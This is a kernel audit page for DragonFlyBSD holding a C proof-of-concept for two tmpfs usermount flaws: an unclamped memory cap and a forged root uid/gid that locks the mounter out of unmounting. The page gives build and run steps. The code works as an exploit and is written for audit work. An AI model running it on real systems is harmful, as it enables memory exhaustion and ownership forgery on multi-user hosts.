โฌข DragonFlyBSD Kernel Audit
DF-3183 / umount_demo.c
โ† back to finding โ†“ download raw
/*
 * DF-3182 / DF-3183 โ€” unprivileged usermount of tmpfs with fully
 * attacker-controlled tmpfs_mount_info.
 *
 * vfs.usermount=1 + a directory owned by the invoking user is sufficient
 * (sys/kern/vfs_syscalls.c:152-155, caps are restriction bits, default
 * creds unrestricted).  tmpfs_mount() then:
 *
 *   DF-3182: derives tm_pages_max from args.ta_size_max with NO clamp to
 *   pages_limit = vm_swap_max + v_page_count/2 (tmpfs_vfsops.c:157-173 โ€”
 *   the >pages_limit branch deliberately does `pages = OFF_TO_IDX
 *   (size_max)`), so the mount's memory cap is whatever the user says,
 *   up to 2^51 pages.  Proof: statfs().f_blocks == size_max/PAGE_SIZE.
 *
 *   DF-3183: takes ta_root_uid / ta_root_gid verbatim for non-root
 *   mounters (tmpfs_vfsops.c:142-144) โ€” only root_mode is sanitized
 *   (:151-155) โ€” so the tmpfs root directory (and thus statfs f_owner,
 *   which tmpfs_statfs overwrites with tm_root->tn_uid at :494) can be
 *   forged to any uid/gid.  sys_unmount()'s owner check
 *   (vfs_syscalls.c:670) then denies the real mounter (self-lockout) or
 *   empowers the forged uid to unmount the attacker's mount.
 *
 * Build:  cc -O2 -o umount_demo umount_demo.c
 * Run (as an unprivileged user, dir owned by that user,
 *      vfs.usermount=1):
 *   ./umount_demo /home/test/mnt 0        # DF-3183 uid=0 spoof
 *   ./umount_demo /home/test/mnt2 1000    # plain 1TiB size proof
 */
#include <sys/mount.h>
#include <sys/param.h>
#include <sys/stat.h>

#include <sys/types.h>

#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* mirror of sys/vfs/tmpfs/tmpfs_mount.h struct tmpfs_mount_info */
struct tmpfs_mount_info {
	int		ta_version;
	ino_t		ta_nodes_max;
	off_t		ta_size_max;
	size_t		ta_maxfsize_max;
	uid_t		ta_root_uid;
	gid_t		ta_root_gid;
	mode_t		ta_root_mode;
};

int
main(int argc, char **argv)
{
	struct tmpfs_mount_info args;
	struct statfs sb;
	struct stat st;
	const char *dir;
	uid_t spoof;

	if (argc < 2)
		errx(1, "usage: %s <dir-owned-by-you> [spoof-uid]", argv[0]);
	dir = argv[1];
	spoof = (uid_t)(argc > 2 ? strtoul(argv[2], NULL, 0) : getuid());

	memset(&args, 0, sizeof(args));
	args.ta_version = 2;
	args.ta_size_max = (off_t)1 << 40;	/* 1 TiB, no clamp applies */
	args.ta_nodes_max = 0;			/* derived: ~1 billion */
	args.ta_root_uid = spoof;
	args.ta_root_gid = spoof;
	args.ta_root_mode = 0755;		/* ignored: forced 0600 */

	printf("mounter uid=%d euid=%d, spoofing ta_root_uid/gid=%d, "
	       "ta_size_max=1TiB\n", getuid(), geteuid(), spoof);

	if (mount("tmpfs", dir, 0, &args) < 0)
		err(1, "mount(tmpfs)");

	if (statfs(dir, &sb) != 0)
		err(1, "statfs");
	printf("statfs: f_blocks=%lld (x PAGE_SIZE = %lld bytes = %lld GiB), "
	       "f_owner=%d (mounter is %d)\n",
	       (long long)sb.f_blocks,
	       (long long)sb.f_blocks * PAGE_SIZE,
	       (long long)(sb.f_blocks * PAGE_SIZE >> 30),
	       sb.f_owner, getuid());

	if (stat(dir, &st) != 0)
		err(1, "stat");
	printf("root dir owner: uid=%d gid=%d mode=%o\n",
	       st.st_uid, st.st_gid, st.st_mode);

	/* unmount attempt by the real mounter (DF-3183 lockout demo) */
	if (unmount(dir, 0) < 0)
		printf("unmount by mounter: FAILED (%s) โ€” f_owner forged "
		       "to %d\n", strerror(errno), spoof);
	else
		printf("unmount by mounter: OK\n");

	return 0;
}